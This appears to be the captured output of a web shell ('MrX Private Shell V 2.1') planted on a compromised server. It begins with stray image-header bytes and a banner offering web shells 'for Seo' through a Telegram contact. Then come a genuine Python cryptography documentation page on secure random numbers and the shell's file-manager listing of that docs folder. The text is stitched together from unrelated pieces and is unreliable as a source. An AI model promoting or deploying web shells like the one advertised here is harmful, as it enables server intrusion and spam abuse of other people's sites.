����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
Random number generation
========================
When generating random data for use in cryptographic operations, such as an
initialization vector for encryption in
:class:`~cryptography.hazmat.primitives.ciphers.modes.CBC` mode, you do not
want to use the standard :mod:`random` module APIs. This is because they do not
provide a cryptographically secure random number generator, which can result in
major security issues depending on the algorithms in use.
Therefore, it is our recommendation to `always use your operating system's
provided random number generator`_, which is available as :func:`os.urandom`.
For example, if you need 16 bytes of random data for an initialization vector,
you can obtain them with:
.. doctest::
>>> import os
>>> iv = os.urandom(16)
This will use ``/dev/urandom`` on UNIX platforms, and ``CryptGenRandom`` on
Windows.
If you need your random number as an integer (for example, for
:meth:`~cryptography.x509.CertificateBuilder.serial_number`), you can use
``int.from_bytes`` to convert the result of ``os.urandom``:
.. code-block:: pycon
>>> serial = int.from_bytes(os.urandom(20), byteorder="big")
Starting with Python 3.6 the `standard library includes`_ the ``secrets``
module, which can be used for generating cryptographically secure random
numbers, with specific helpers for text-based formats.
.. _`always use your operating system's provided random number generator`: https://sockpuppet.org/blog/2014/02/25/safely-generate-random-numbers/
.. _`standard library includes`: https://docs.python.org/3/library/secrets.html
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| _ext | Folder | 0755 |
|
|
| _static | Folder | 0755 |
|
|
| development | Folder | 0755 |
|
|
| hazmat | Folder | 0755 |
|
|
| x509 | Folder | 0755 |
|
|
| Makefile | File | 5.46 KB | 0644 |
|
| api-stability.rst | File | 2.93 KB | 0644 |
|
| changelog.rst | File | 30 B | 0644 |
|
| community.rst | File | 589 B | 0644 |
|
| conf.py | File | 6.17 KB | 0644 |
|
| doing-a-release.rst | File | 3.71 KB | 0644 |
|
| exceptions.rst | File | 853 B | 0644 |
|
| faq.rst | File | 9.79 KB | 0644 |
|
| fernet.rst | File | 11.33 KB | 0644 |
|
| glossary.rst | File | 4.62 KB | 0644 |
|
| index.rst | File | 2.64 KB | 0644 |
|
| installation.rst | File | 11.71 KB | 0644 |
|
| limitations.rst | File | 2.12 KB | 0644 |
|
| make.bat | File | 4.99 KB | 0644 |
|
| openssl.rst | File | 4.6 KB | 0644 |
|
| random-numbers.rst | File | 1.55 KB | 0644 |
|
| security.rst | File | 3.51 KB | 0644 |
|
| spelling_wordlist.txt | File | 1.22 KB | 0644 |
|